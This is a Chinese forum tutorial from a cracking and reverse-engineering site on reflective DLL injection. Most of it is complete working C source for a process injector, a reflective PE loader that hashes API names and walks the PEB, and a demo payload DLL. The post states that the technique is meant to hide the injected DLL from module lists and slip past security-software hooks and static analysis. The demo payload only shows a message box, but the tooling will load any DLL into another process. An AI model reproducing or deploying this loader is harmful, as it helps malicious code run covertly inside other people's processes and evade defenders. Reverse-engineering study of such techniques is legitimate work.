吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 158|回复: 2
上一主题 下一主题
收起左侧

[C&C++ 原创] 反射式DLL注入(反射注入)

[复制链接]
跳转到指定楼层
楼主
ClumsyBear 发表于 2026-6-14 13:42 回帖奖励
【新手向】反射式 DLL 注入(Reflected injection)



反射注入(Reflective DLL Injection)由Stephen Fewer在2009年首次提出,反射式DLL注入是一种库注入技术,利用反射式编程的概念将库从内存加载到宿主进程中。因此,库负责通过实现最小的可移植可执行文件(PE)文件加载程序来加载自身
核心思想:让DLL自己把自己“加载”起来


什么是反射注入
普通 DLL 注入
传统方法:
1. OpenProcess        → 打开目标进程
2. VirtualAllocEx     → 在目标进程分配内存
3. WriteProcessMemory → 写入 DLL 路径字符串
4. CreateRemoteThread → 让目标进程调用 LoadLibraryW 加载 DLL致命弱点:Windows 会把你的 DLL 登记到三个模块链表:

PEB->Ldr->InLoadOrderModuleList
PEB->Ldr->InMemoryOrderModuleList
PEB->Ldr->InInitializationOrderModuleList

Process Explorer 一查就能看到。

反射注入的核心思想
手工实现LoadLibrary
传统: injector → LoadLibraryW → Windows 加载器(登记模块) → DLL 可见反射: injector → ReflectiveLoader → 手工加载 PE(不登记模块) → DLL 不可见
  • DLL 不出现在模块链表 → 隐蔽
  • 不调 LoadLibrary → 绕过安全软件 Hook
  • DLL 可不落地 → 从内存直接注入
  • 兼容任意 DLL → 不需要特殊编译






架构设计远程内存布局
injector.exe notepad.exe mydll.dll
     │            │           │
     │        目标进程    任意 DLL
     │
     └─ 自动加载 reflectiveloader.dll


┌─────────────────┐
│  LOADER_PARAMS             │ ← { 目标DLL地址, 目标DLL大小 }
├─────────────────┤
│  mydll.dll                            │ ← 你要注入的 DLL 原始字节
├─────────────────┤
│  loader.dll                           │ ← 反射加载器(ReflectiveLoader 入口在此)
└─────────────────┘
     ↑
  CreateRemoteThread 启动 ReflectiveLoader,传入 LOADER_PARAMS 指针
执行流程
  • injector.exe 读取 reflectiveloader.dll 和 mydll.dll
  • OpenProcess + VirtualAllocEx 在目标进程分配一块大内存
  • WriteProcessMemory 写入 [LOADER_PARAMS][mydll.dll][loader.dll]
  • 解析 loader.dll 找到 ReflectiveLoader 导出函数的文件偏移
  • CreateRemoteThread(remoteBase + paramsSize + targetSize + fileOffset)
  • ReflectiveLoader 收到 LOADER_PARAMS,得知 mydll.dll 在哪
  • 手工 PE 加载:解析 PE → VirtualAlloc → 复制节区 → 重定位 → 导入表 → DllMai


file://C:%5CUsers%5Cyouxing%5CAppData%5CRoaming%5Cmarktext%5Cimages%5C2026-06-14-11-39-00-c9a00d9a82050785d48aa084b2d0db62.png?msec=1781412650652
核心代码injector.c —注入器
[C] 纯文本查看 复制代码
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <psapi.h>

typedef struct { PVOID dllBase; DWORD dllSize; } LOADER_PARAMS;

static DWORD RvaToFile(BYTE* d, DWORD r)
{
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)d;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(d + dos->e_lfanew);
    PIMAGE_SECTION_HEADER s = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++)
    {
        if (r >= s->VirtualAddress && r < s->VirtualAddress + s->Misc.VirtualSize)
            return s->PointerToRawData + (r - s->VirtualAddress);
    }
    if (r < nt->OptionalHeader.SizeOfHeaders) return r;
    return 0;
}

static BYTE* LoadFile(const char* path, DWORD* outSize)
{
    HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
    if (h == INVALID_HANDLE_VALUE) { printf("Cannot open: %s\n", path); return NULL; }
    *outSize = GetFileSize(h, NULL);
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *outSize);
    if (!buf) { CloseHandle(h); return NULL; }
    DWORD rd;
    if (!ReadFile(h, buf, *outSize, &rd, NULL) || rd != *outSize)
    {
        printf("Cannot read: %s\n", path);
        HeapFree(GetProcessHeap(), 0, buf); CloseHandle(h); return NULL;
    }
    CloseHandle(h); return buf;
}

static DWORD FindExportFileOff(BYTE* dll, const char* name)
{
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dll;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dll + dos->e_lfanew);
    DWORD expRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!expRVA) return 0;
    DWORD eo = RvaToFile(dll, expRVA);
    if (!eo) return 0;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(dll + eo);
    DWORD no = RvaToFile(dll, exp->AddressOfNames);
    DWORD oo = RvaToFile(dll, exp->AddressOfNameOrdinals);
    DWORD fo = RvaToFile(dll, exp->AddressOfFunctions);
    if (!no || !oo || !fo) return 0;
    DWORD* names = (DWORD*)(dll + no);
    WORD*  ords  = (WORD*)(dll + oo);
    DWORD* funcs = (DWORD*)(dll + fo);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        DWORD nf = RvaToFile(dll, names[i]);
        if (!nf) continue;
        if (strcmp((char*)(dll + nf), name) == 0)
            return RvaToFile(dll, funcs[ords[i]]);
    }
    return 0;
}

static DWORD FindPID(const char* name)
{
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (h == INVALID_HANDLE_VALUE) return 0;
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    if (Process32First(h, &pe))
    {
        do
        { if (_stricmp(pe.szExeFile, name) == 0)
            { CloseHandle(h); return pe.th32ProcessID; }
        } while (Process32Next(h, &pe));
    }
    CloseHandle(h); return 0;
}
int main(int argc, char** argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    if (argc < 3)
    {
        printf("Usage: injector.exe <process> <dll>\n");
        printf("Example: injector.exe notepad.exe mydll.dll\n");
        printf("\nTarget DLL can be ANY DLL - no special exports needed.\n");
        printf("The loader (reflectiveloader.dll) must be in the same folder.\n");
        return 1;
    }
    const char* proc = argv[1];
    const char* dllPath = argv[2];
    const char* ldrPath = "reflectiveloader.dll";
    printf("Target: %s\n DLL: %s\n Loader: %s\n\n", proc, dllPath, ldrPath);

    DWORD pid = FindPID(proc);
    if (!pid) { printf("Process not found: %s\n", proc); return 1; }
    printf("PID: %lu\n", pid);

    HANDLE hp = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, pid);
    if (!hp) { printf("OpenProcess failed (%lu)\n", GetLastError()); return 1; }
    printf("Process opened\n");

    DWORD tSize, lSize;
    BYTE* target = LoadFile(dllPath, &tSize);
    BYTE* loader = LoadFile(ldrPath, &lSize);
    if (!target || !loader)
    {
        if (target) HeapFree(GetProcessHeap(), 0, target);
        if (loader) HeapFree(GetProcessHeap(), 0, loader);
        CloseHandle(hp); return 1;
    }
    printf(" Target DLL: %lu bytes\n Loader DLL: %lu bytes\n", tSize, lSize);

    DWORD ldrOff = FindExportFileOff(loader, "ReflectiveLoader");
    if (!ldrOff)
    {
        printf(" ReflectiveLoader not found in %s\n", ldrPath);
        HeapFree(GetProcessHeap(), 0, target);
        HeapFree(GetProcessHeap(), 0, loader);
        CloseHandle(hp); return 1;
    }
    printf(" Loader entry file offset: 0x%08lX\n", ldrOff);

    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(loader + ((PIMAGE_DOS_HEADER)loader)->e_lfanew);
    DWORD ldrImg = nt->OptionalHeader.SizeOfImage;
    if (ldrImg > lSize)
    {
        BYTE* nb = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, loader, ldrImg);
        if (!nb)
        { printf(" HeapReAlloc failed\n"); goto cleanup; }
        loader = nb;
    }
    printf(" Loader ImageSize: %lu bytes\n", ldrImg);

    DWORD total = sizeof(LOADER_PARAMS) + tSize + ldrImg;
    LPVOID remoteBase = VirtualAllocEx(hp, NULL, total,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteBase)
    {
        printf(" VirtualAllocEx failed (%lu)\n", GetLastError());
        goto cleanup;
    }
    printf(" Remote memory @ 0x%p (%lu bytes)\n", remoteBase, total);

    LOADER_PARAMS params;
    params.dllBase = (BYTE*)remoteBase + sizeof(LOADER_PARAMS);
    params.dllSize = tSize;

    BYTE* flat = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, total);
    if (!flat) { printf(" HeapAlloc failed\n"); VirtualFreeEx(hp, remoteBase, 0, MEM_RELEASE); goto cleanup; }
    memcpy(flat, &#182;ms, sizeof(params));
    memcpy(flat + sizeof(params), target, tSize);
    memcpy(flat + sizeof(params) + tSize, loader, ldrImg);

    SIZE_T written;
    if (!WriteProcessMemory(hp, remoteBase, flat, total, &written))
    {
        printf(" WriteProcessMemory failed (%lu)\n", GetLastError());
        VirtualFreeEx(hp, remoteBase, 0, MEM_RELEASE);
        HeapFree(GetProcessHeap(), 0, flat); goto cleanup;
    }
    printf(" Payload written\n");
    HeapFree(GetProcessHeap(), 0, flat);

    LPTHREAD_START_ROUTINE entry =
        (LPTHREAD_START_ROUTINE)((BYTE*)remoteBase + sizeof(params) + tSize + ldrOff);
    printf(" Remote entry: 0x%p, params @ 0x%p\n", entry, remoteBase);

    HANDLE ht = CreateRemoteThread(hp, NULL, 0, entry, remoteBase, 0, NULL);
    if (!ht)
    {
        printf(" CreateRemoteThread failed (%lu)\n", GetLastError());
        VirtualFreeEx(hp, remoteBase, 0, MEM_RELEASE); goto cleanup;
    }
    printf(" Remote thread created\n Waiting...\n");

    DWORD waitResult = WaitForSingleObject(ht, 10000);
    DWORD exitCode = 0;
    GetExitCodeThread(ht, &exitCode);

    if (waitResult == WAIT_OBJECT_0)
    {
        if (exitCode && (exitCode < 0xB0 || exitCode > 0xB5))
        {
            printf(" SUCCESS! DLL loaded @ 0x%p\n", (LPVOID)(ULONG_PTR)exitCode);
            printf(" Check %s module list - the DLL is invisible!\n", proc);
        }
        else if (exitCode == 0)
        {
            printf(" Loader returned 0 (failed)\n");
        }
        else
        {
            printf(" Error 0x%04lX: ", exitCode);
            switch (exitCode)
            {
                case 0xB0: printf("invalid PE\n"); break;
                case 0xB1: printf("kernel32 not found\n"); break;
                case 0xB2: printf("critical API missing\n"); break;
                case 0xB3: printf("VirtualAlloc failed\n"); break;
                case 0xB4: printf("import DLL load failed\n"); break;
                case 0xB5: printf("import function missing\n"); break;
                default: printf("unknown\n"); break;
            }
        }
    } else if (waitResult == WAIT_TIMEOUT)
    {
        printf(" Loader still running (worker thread alive)\n");
    } 
    else
    {
        printf(" Wait error: %lu\n", GetLastError());
    }

    CloseHandle(ht);
cleanup:
    HeapFree(GetProcessHeap(), 0, target);
    HeapFree(GetProcessHeap(), 0, loader);
    CloseHandle(hp);
    printf("\n Done.\n");
    return 0;
}
ReflectiveLoader.c — 反射加载器
与 payload.c 编译进同一个 DLL。运行在目标进程内,通过扫描自身代码地址来定位 PE 镜像,然后手工完成 PE 加载的全部步骤。完整代码

[C] 纯文本查看 复制代码
#include <windows.h>

//1. 定位自身在内存中的 PE 镜像
//2. 通过 PEB 找到 kernel32.dll 基址
//3. 解析 kernel32 导出表找到需要的函数
//4. 分配新内存并复制 PE 镜像
//5. 处理重定位
//6. 修复导入表
//7. 调用 DllMain
#ifdef _WIN64
  #define CURRENT_ARCH IMAGE_FILE_MACHINE_AMD64
  #define PEB_OFFSET   0x60
  #define RELOC_TYPE   IMAGE_REL_BASED_DIR64
  #define GetPeb()     (__readgsqword(PEB_OFFSET))
#else
  #define CURRENT_ARCH IMAGE_FILE_MACHINE_I386
  #define PEB_OFFSET   0x30
  #define RELOC_TYPE   IMAGE_REL_BASED_HIGHLOW
  #define GetPeb()     (__readfsdword(PEB_OFFSET))
#endif


//避免字符串出现在二进制中
#define ROTR32(v, n) (((v) >> (n)) | ((v) << (32 - (n))))

static inline DWORD HashStringW(PWSTR str, DWORD seed)
{
    DWORD hash = seed;
    WCHAR c;
    if (str == NULL) return 0;
    do
    {
        c = *str++;
        if (c >= L'a' && c <= L'z') c -= 0x20;
        hash = ROTR32(hash, 13);
        hash += c;
    } while (c != 0);
    return hash;
}

static inline DWORD HashStringA(PCHAR str, DWORD seed)
{
    DWORD hash = seed;
    CHAR c;
    if (str == NULL) return 0;
    do
    {
        c = *str++;
        hash = ROTR32(hash, 13);
        hash += (DWORD)(unsigned char)c;
    } while (c != 0);
    return hash;
}


#define HASH_LoadLibraryA         0x74776072
#define HASH_GetProcAddress       0xE553E06F
#define HASH_VirtualAlloc         0x52A48D7E
#define HASH_VirtualFree          0x9D601831
#define HASH_VirtualProtect       0x30DBCA36

#define HASH_KERNEL32_DLL         0x50BB715E
#define HASH_NTDLL_DLL            0xDF956BA6

//手动类型定义
typedef struct _MY_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} MY_UNICODE_STRING, *PMY_UNICODE_STRING;

typedef struct _MY_PEB_LDR_DATA {
    ULONG      Length;
    BOOLEAN    Initialized;
    HANDLE     SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID      EntryInProgress;
    BOOLEAN    ShutdownInProgress;
    HANDLE     ShutdownThreadId;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID      DllBase;
    PVOID      EntryPoint;
    ULONG      SizeOfImage;
    MY_UNICODE_STRING FullDllName;
    MY_UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

typedef struct _MY_PEB {
    BOOLEAN    InheritedAddressSpace;
    BOOLEAN    ReadImageFileExecOptions;
    BOOLEAN    BeingDebugged;
    BOOLEAN    SpareBool;
    HANDLE     Mutant;
    PVOID      ImageBaseAddress;
    PMY_PEB_LDR_DATA Ldr;
} MY_PEB, *PMY_PEB;

 //GetProcAddressByHash
 //通过哈希值在指定模块中找到函数地址
 //不依赖任何外部 API——直接解析 PE 导出表
static FARPROC GetProcAddressByHash(HMODULE hModule, DWORD funcHash)
{
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)hModule + dos->e_lfanew);

    IMAGE_DATA_DIRECTORY expDir =
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (expDir.Size == 0) return NULL;

    PIMAGE_EXPORT_DIRECTORY exp =
        (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)hModule + expDir.VirtualAddress);

    PDWORD   names  = (PDWORD)((ULONG_PTR)hModule + exp->AddressOfNames);
    PWORD    ords   = (PWORD)((ULONG_PTR)hModule + exp->AddressOfNameOrdinals);
    PDWORD   funcs  = (PDWORD)((ULONG_PTR)hModule + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++)
    {
        PCHAR name = (PCHAR)((ULONG_PTR)hModule + names[i]);
        if (HashStringA(name, 0) == funcHash)
        {
            return (FARPROC)((ULONG_PTR)hModule + funcs[ords[i]]);
        }
    }
    return NULL;
}


 //FindModuleBaseByHash
 //通过 PEB 的 InMemoryOrderModuleList 遍历已加载模块
 //用模块名哈希匹配,返回模块基址
static HMODULE FindModuleByHash(DWORD moduleNameHash)
{
    //获取 PEB
#ifdef _WIN64
    PMY_PEB peb = (PMY_PEB)__readgsqword(PEB_OFFSET);
#else
    PMY_PEB peb = (PMY_PEB)__readfsdword(PEB_OFFSET);
#endif
    if (peb == NULL || peb->Ldr == NULL) return NULL;

    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY cur  = head->Flink;

    while (cur != head)
    {
        PMY_LDR_DATA_TABLE_ENTRY entry =
            CONTAINING_RECORD(cur, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (entry->BaseDllName.Length > 0 && entry->BaseDllName.Buffer != NULL)
        {
            if (HashStringW(entry->BaseDllName.Buffer, 0) == moduleNameHash)
            {
                return (HMODULE)entry->DllBase;
            }
        }
        cur = cur->Flink;
    }
    return NULL;
}

__declspec(dllexport)
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpReserved)
{
    //1.定位当前 DLL 镜像在内存中的位置
    //从返回地址开始,向后扫描 PE 头
    //因为 ReflectiveLoader 函数位于 DLL 镜像内部

    ULONG_PTR callerAddr = (ULONG_PTR)&ReflectiveLoader;

    //向前搜索 DOS 头
    //根据 PE 文件结构,DOS 头在镜像的最前面
    ULONG_PTR base = callerAddr & (~0xFFF);//页对齐

    //查找 MZ
    while (base > 0)
    {
        PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
        if (dos->e_magic == IMAGE_DOS_SIGNATURE)
        {
            //验证是否有有效的 NT 头
            if (dos->e_lfanew > 0 && dos->e_lfanew < 0x1000)
            {
                PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
                if (nt->Signature == IMAGE_NT_SIGNATURE)
                {
                    //进一步验证:检查机器架构是否匹配
                    if (nt->FileHeader.Machine == CURRENT_ARCH)
                    {
                        //确认有 SizeOfImage,且 > 0
                        if (nt->OptionalHeader.SizeOfImage > 0)
                        {
                            break;  //找到了
                        }
                    }
                }
            }
        }
        base--;
    }

    if (base == 0) return 0xB0;  //找不到 PE 基址

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(base + dosHeader->e_lfanew);
    DWORD sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage;

    //2.获取 kernel32 的基址和关键 API
    HMODULE kernel32 = FindModuleByHash(HASH_KERNEL32_DLL);
    if (kernel32 == NULL) return 0xB1;  //找不到 kernel32.dll

    //定义函数指针类型
    typedef LPVOID  (WINAPI *PFN_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL    (WINAPI *PFN_VirtualFree)(LPVOID, SIZE_T, DWORD);
    typedef BOOL    (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
    typedef HMODULE (WINAPI *PFN_LoadLibraryA)(LPCSTR);
    typedef FARPROC (WINAPI *PFN_GetProcAddress)(HMODULE, LPCSTR);

    PFN_VirtualAlloc   pVirtualAlloc   = (PFN_VirtualAlloc)   GetProcAddressByHash(kernel32, HASH_VirtualAlloc);
    PFN_VirtualFree    pVirtualFree    = (PFN_VirtualFree)    GetProcAddressByHash(kernel32, HASH_VirtualFree);
    PFN_VirtualProtect pVirtualProtect = (PFN_VirtualProtect) GetProcAddressByHash(kernel32, HASH_VirtualProtect);
    PFN_LoadLibraryA   pLoadLibraryA   = (PFN_LoadLibraryA)   GetProcAddressByHash(kernel32, HASH_LoadLibraryA);
    PFN_GetProcAddress pGetProcAddress = (PFN_GetProcAddress) GetProcAddressByHash(kernel32, HASH_GetProcAddress);

    if (!pVirtualAlloc || !pLoadLibraryA || !pGetProcAddress) return 0xB2;//找不到关键 API

    //3.分配新内存并复制 PE 镜像
    LPVOID newImage = pVirtualAlloc(NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (newImage == NULL) return 0xB3;  //VirtualAlloc失败

    //复制 PE 头
    DWORD headersSize = ntHeaders->OptionalHeader.SizeOfHeaders;
    for (DWORD i = 0; i < headersSize; i++)
    {
        ((BYTE*)newImage)[i] = ((BYTE*)base)[i];
    }

    //复制各节区
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(ntHeaders);
    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sec++)
    {
        if (sec->SizeOfRawData > 0)
        {
            BYTE* dst = (BYTE*)newImage + sec->VirtualAddress;
            BYTE* src = (BYTE*)base      + sec->PointerToRawData;
            for (DWORD j = 0; j < sec->SizeOfRawData; j++)
                dst[j] = src[j];
        }
        else
        {
            //BSS节(SizeOfRawData == 0)清零
            BYTE* dst = (BYTE*)newImage + sec->VirtualAddress;
            for (DWORD j = 0; j < sec->Misc.VirtualSize; j++)
                dst[j] = 0;
        }
    }

    //4.处理基址重定位
    ULONG_PTR delta = (ULONG_PTR)newImage - ntHeaders->OptionalHeader.ImageBase;

    if (delta != 0)
    {
        IMAGE_DATA_DIRECTORY relocDir =
            ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (relocDir.Size > 0)
        {
            PIMAGE_BASE_RELOCATION reloc =
                (PIMAGE_BASE_RELOCATION)((ULONG_PTR)newImage + relocDir.VirtualAddress);
            ULONG_PTR relocEnd = (ULONG_PTR)reloc + relocDir.Size;

            while ((ULONG_PTR)reloc < relocEnd && reloc->VirtualAddress != 0)
            {
                DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                WORD* entries = (WORD*)((BYTE*)reloc + sizeof(IMAGE_BASE_RELOCATION));

                for (DWORD i = 0; i < count; i++)
                {
                    WORD entry = entries[i];
                    WORD type = entry >> 12;
                    WORD offset = entry & 0xFFF;

                    if (type == RELOC_TYPE)
                    {
                        ULONG_PTR* patchAddr =
                            (ULONG_PTR*)((ULONG_PTR)newImage + reloc->VirtualAddress + offset);
                        *patchAddr += delta;
                    }
                }
                reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
            }
        }
    }

   //5.修复导入表
    IMAGE_DATA_DIRECTORY importDir =
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (importDir.Size > 0)
    {
        PIMAGE_IMPORT_DESCRIPTOR imp =
            (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)newImage + importDir.VirtualAddress);

        for (; imp->Name != 0; imp++)
        {
            PCHAR dllName = (PCHAR)((ULONG_PTR)newImage + imp->Name);
            HMODULE hDll = pLoadLibraryA(dllName);
            if (hDll == NULL) return 0xB4;  //LoadLibrary 导入 DLL 失败

            PIMAGE_THUNK_DATA thunk =
                (PIMAGE_THUNK_DATA)((ULONG_PTR)newImage + imp->FirstThunk);
            PIMAGE_THUNK_DATA origThunk;

            if (imp->OriginalFirstThunk != 0)
            {
                origThunk = (PIMAGE_THUNK_DATA)((ULONG_PTR)newImage + imp->OriginalFirstThunk);
            }
            else
            {
                origThunk = thunk;
            }

            for (; origThunk->u1.AddressOfData != 0; origThunk++, thunk++)
            {
                FARPROC funcAddr;

                if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal))
                {
                    funcAddr = pGetProcAddress(hDll,
                        (LPCSTR)(ULONG_PTR)(origThunk->u1.Ordinal & 0xFFFF));
                }
                else
                {
                    PIMAGE_IMPORT_BY_NAME importByName =
                        (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)newImage + origThunk->u1.AddressOfData);
                    funcAddr = pGetProcAddress(hDll, importByName->Name);
                }
                //GetProcAddress 找不到导入函数
                if (funcAddr == NULL) return 0xB5;
                thunk->u1.Function = (ULONG_PTR)funcAddr;
            }
        }
    }

    //6.设置内存保护
    sec = IMAGE_FIRST_SECTION(ntHeaders);
    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sec++)
    {
        LPVOID secAddr = (LPVOID)((ULONG_PTR)newImage + sec->VirtualAddress);
        DWORD secSize  = sec->Misc.VirtualSize;
        DWORD oldProt;

        DWORD characteristics = sec->Characteristics;
        DWORD newProt = PAGE_READONLY;

        if (characteristics & IMAGE_SCN_MEM_EXECUTE)
        {
            newProt = (characteristics & IMAGE_SCN_MEM_WRITE)
                ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
        } else if (characteristics & IMAGE_SCN_MEM_WRITE)
        {
            newProt = PAGE_READWRITE;
        }

        if (secSize > 0)
        {
            pVirtualProtect(secAddr, secSize, newProt, &oldProt);
        }
    }

    //7.刷新指令缓存并调用 DllMain
    //调用 DllMain(DLL_PROCESS_ATTACH)
    typedef BOOL (WINAPI *fnDllMain)(HINSTANCE, DWORD, LPVOID);
    fnDllMain DllMainEntry = (fnDllMain)((ULONG_PTR)newImage + ntHeaders->OptionalHeader.AddressOfEntryPoint);

    DllMainEntry((HINSTANCE)newImage, DLL_PROCESS_ATTACH, lpReserved);

    return (ULONG_PTR)newImage;
}



payload.c — 你要注入的 DLL

最普通的 DLL,什么都不需要导出:
[C] 纯文本查看 复制代码
#include <windows.h>

DWORD WINAPI WorkerThread(LPVOID lpParam)
{
    MessageBoxA(NULL, "Reflection injection succeeded!",
        "Reflective DLL Injection", MB_OK | MB_ICONINFORMATION);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
    }
    return TRUE;
}


关键技术细节
RVA vs 文件偏移
PE 文件在磁盘上和在内存里的布局不同!
.payload 节区示例:  文件偏移  0x0400 — 数据在磁盘上的位置  RVA       0x1000 — 同一个数据加载到内存后的位置

写入目标进程的是原始文件字节,所以:
  • 读原始文件 buffer → 必须用文件偏移
  • 读取 newImage(已映射的) → 用 RVA

我们的 RvaToFile() 通过节表做转换:
文件偏移 = 节.PointerToRawData + (RVA - 节.VirtualAddress)

API 哈希
为什么不直接写 "VirtualAlloc"?因为字符串会留在 .rdata 节,静态分析一眼就能看到。改用哈希:
[C] 纯文本查看 复制代码
#define HASH_VirtualAlloc    0x52A48D7E
#define HASH_LoadLibraryA    0x74776072
#define HASH_GetProcAddress  0xE553E06F
#define HASH_KERNEL32_DLL    0x50BB715E


哈希算法:ROTR13 + djb2变体。注意:函数名用 HashA(ASCII),模块名用 HashW(Unicode)
PEB 遍历
[C] 纯文本查看 复制代码
// x64: PEB 存在 GS 段寄存器偏移 0x60 处
PPEB peb = (PPEB)__readgsqword(0x60);
// x86: PEB 存在 FS 段寄存器偏移 0x30 处  
PPEB peb = (PPEB)__readfsdword(0x30);


拿到 PEB 后,遍历 PEB->Ldr->InMemoryOrderModuleList 双向链表。链表中每个节点是 LDR_DATA_TABLE_ENTRY,它的 BaseDllName 存储模块名(Unicode 字符串)。用 HashW() 算哈希匹配到 0x50BB715E(KERNEL32.DLL 的哈希)就返回该模块基址。
ReflectiveLoader 启动时,只有 ntdll.dll 和 kernel32.dll 是保证已加载的。所以必须先通过 PEB 找到 kernel32,再从它的导出表拿到 LoadLibraryA / GetProcAddress,才能加载其他 DLL。

重定位处理
PE 编译时假设自己被加载到 ImageBase。但 VirtualAlloc 返回的地址几乎不可能等于 ImageBase,所有硬编码的绝对地址都需要加上偏移量
delta = actual - ImageBase:
[C] 纯文本查看 复制代码
ULONG_PTR delta = (ULONG_PTR)newImage - ImageBase;
if (delta != 0) {
    PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + .relocRVA);
    while (block->VirtualAddress) {
        WORD* entries = (WORD*)(block + 1);
        for each entry:
            if (entry >> 12 == RELOC_TYPE)     // x64=10(DIR64), x86=3(HIGHLOW)
                *(ULONG_PTR*)(base + blockRVA + (entry & 0xFFF)) += delta;
        block = (PIMAGE_BASE_RELOCATION)((BYTE*)block + block->SizeOfBlock);
    }
}


导入表修复
DLL 依赖的外部函数(如 MessageBoxA 在 user32.dll 里)需要逐个填入 IAT:
[C] 纯文本查看 复制代码
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(base + importRVA);
for (; imp->Name; imp++) {
    HMODULE hMod = pLoadLibraryA((char*)(base + imp->Name));  // 加载依赖 DLL
    PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk);
    for each function:
        if (IMAGE_SNAP_BY_ORDINAL(ordinal))  func = pGetProcAddress(hMod, ordinal);
        else                                 func = pGetProcAddress(hMod, funcName);
        thunk->Function = (ULONG_PTR)func;   //填入 IAT
}

验证隐蔽性
用 Process Explorer 查看 notepad.exe 的模块列表——找不到 mydll.dll


ReflectiveLoader 启动时还没有 CRT,memcpy 在 msvcrt.dll 里,此时还没加载。编译器会把 for 循环优化为 rep movsb。
反射注入本身的目的是隐蔽(不登记模块链表),而非免杀。现代杀软通过行为链(VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)就能识别注入行为。真正的对抗需要配合 syscall、加密、反沙箱等技术。


反射注入的核心就一句话:手工模拟 Windows PE 加载器的六个步骤1.获取 kernel32       → PEB 遍历(不依赖任何外部 API)
2.解析导出表           → 哈希匹配(不暴露字符串)
3.分配内存+复制    → 模拟 PE 映射
4.重定位                 → 修正地址偏移
5.修复导入表         → 填充 IAT
6.调用 DllMain     → 你的代码开始运行参考
Stephen Fewer's ReflectiveDLLInjection (GitHub)
https://github.com/stephenfewer/ReflectiveDLLInjection
MSDN PE Format Specification
https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
PEB Structure 参考
